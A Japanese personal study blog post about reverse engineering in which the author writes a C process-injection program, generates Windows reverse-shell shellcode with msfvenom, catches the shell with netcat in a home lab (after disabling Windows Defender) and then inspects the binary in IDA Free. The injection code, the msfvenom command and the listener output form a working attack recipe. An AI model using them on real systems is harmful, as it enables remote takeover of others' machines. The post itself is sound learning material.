見出し画像

#113 Reversing

 しばらくは、攻撃技術の勉強が多かったですが、解析・防御の知識も増やしていきたいので、Reversingに足を踏み入れました。CTFにおいてReversingというと、リバースエンジニアリングの技術を駆使してファイルの中からフラグを探しだすイメージです。現実では、マルウェアの解析などで使われているでしょうか。高度で幅広い知識が必要となるので、やりがいがあります…

 以前作成した、Process InjectionのプログラムをCで書き直してコンパイルし、IDA Freeで解析してみました。ひとりマルウェア解析ごっこです。

解析

疑似マルウェアの作成

Windowsをターゲットにした、Process Injectionを行うプログラムを作成しました。

// main.c
#include "Windows.h"

int main(int argc, char *argv[]) {
    int pid = atoi(argv[1]);
    HANDLE handle = OpenProcess(0x001F0FFF, FALSE, pid);
    HANDLE addr = VirtualAllocEx(handle, NULL, 0x1000, 0x3000, 0x40);
    unsigned char buf[] = 
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        ..........................................................;

    SIZE_T* outSize;
    WriteProcessMemory(handle, addr, buf, sizeof(buf), outSize);
    HANDLE hThread = CreateRemoteThread(handle, NULL, 0, addr, NULL, 0, NULL);
    return 0;
}

プロセスIDをパラメータから受取り、shellcodeを対象プロセスに書き込みます。msfvenomでリバースシェルのshellcodeを生成しました。(bufの部分。一部抜粋。)

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.164.130 LPORT=443 -f c

gccでコンパイルして、実行してみると、ちゃんとリバースシェルが取れます。もちろん、Windows Defenderは無効化してくださいね。

PS C:\Users\kusa\Projects\test> gcc main.c
PS C:\Users\kusa\Projects\test> .\a.exe 5024
$ nc -lnvp 443              
listening on [any] 443 ...
connect to [192.168.164.130] from (UNKNOWN) [192.168.164.129] 50583
Microsoft Windows [Version 10.0.19045.3324]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
desktop-aarhhn0\kusa


IDA Freeで静的解析

 IDAは、バイナリ解析ツールのデファクトスタンダードらしいです。無料バージョンでも十分な機能が備わっています。Ghidraだけが庶民の味方だと思っていました。下記からダウンロードできます。

インストールできたら、早速、先ほど作成したマルウェアを読み込んでみます。 

関数の一覧と、デコンパイルされたアセンブリが見えます。つぶさ
に見ていくと、メインの処理は「f」という関数に入っているようです。

ちゃんと関数名と引数名まで表示されていますね。すごい!shellcodeは、.rdataセクションに格納されています。

「cmd」のような怪しい文字はありますが、このままで通信先など詳しい情報まではわからなそう…

shellcodeをexeに変換すれば、IDAで読み込むことができそうです。shellcode2exeというツールを使えば簡単にできる?… と思いましたが、ツールが古すぎて、うまくできませんでした。

もう少し調べてみたところ、shellcode解析自体が研究テーマになるほど奥が深いものだとわかったので、ハマる前にいったん引き返しておきます。


まとめ

 実際のマルウェア解析は、静的解析とファイルを実行して動きを観察する動的解析を組み合わせて行います。もちろん、マシンがウイルスに感染してしまう可能性があるので、ネットワークを分けたり専用のVMを構築したりなど、相応の知識と準備が必要です。
 もっと勉強して、マルウェア解析できるようになりたいです…!

EOF


 


この記事が気に入ったらサポートをしてみませんか?